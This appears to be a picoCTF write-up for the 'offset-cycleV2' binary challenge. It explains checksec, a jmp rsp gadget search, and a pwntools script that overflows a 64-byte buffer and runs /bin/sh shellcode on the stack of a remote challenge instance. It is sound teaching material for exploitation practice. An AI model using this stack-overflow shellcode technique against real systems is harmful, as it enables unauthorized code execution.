Description
It's a race against time. Solve the binary exploit ASAP.
Setup
Launch the challenge instance and connect via netcat.
Like offset-cycle but with an additional mitigation or constraint.
Solution
- Step 1Check protections -- NX is disabledRun checksec on the binary. Unlike offset-cycle which used ret2win, this version has NX disabled, meaning the stack is executable. The intended technique is a `jmp rsp` gadget + shellcode injected on the stack.checksec --file=./vuln# Expected: NX disabled, no canary
- Step 2Find the jmp rsp gadgetSearch the binary (or libc) for a `jmp rsp` gadget -- an instruction that jumps to whatever RSP currently points to. After overwriting the return address with this gadget, the shellcode placed immediately after the return address will execute.ROPgadget --binary vuln | grep 'jmp rsp'# or:ropper -f vuln --search 'jmp rsp'
- Step 3Build and send the shellcode payloadCraft a payload: padding to reach the return address + address of `jmp rsp` gadget + shellcode. The shellcode can be a /bin/sh shell or a direct `cat /flag.txt` payload.python3 << 'EOF' from pwn import * e = ELF("./vuln") p = remote("<HOST>", <PORT_FROM_INSTANCE>) # Find jmp rsp gadget (via ROPgadget or pwntools) jmp_rsp = 0x???? # address from ROPgadget output offset = 64 # from cyclic pattern analysis # Shellcode: execve("/bin/sh") or just cat flag shellcode = asm(shellcraft.sh()) payload = b"A" * offset # padding to RIP payload += p64(jmp_rsp) # redirect to jmp rsp (lands on shellcode) payload += shellcode # executed after jmp rsp p.sendline(payload) p.interactive() EOF
Flag
picoCTF{0ff53t_cycl3_v2_...}
offset-cycleV2 disables NX, so instead of ret2win, you use a `jmp rsp` gadget to jump to shellcode placed right after the overwritten return address on the stack.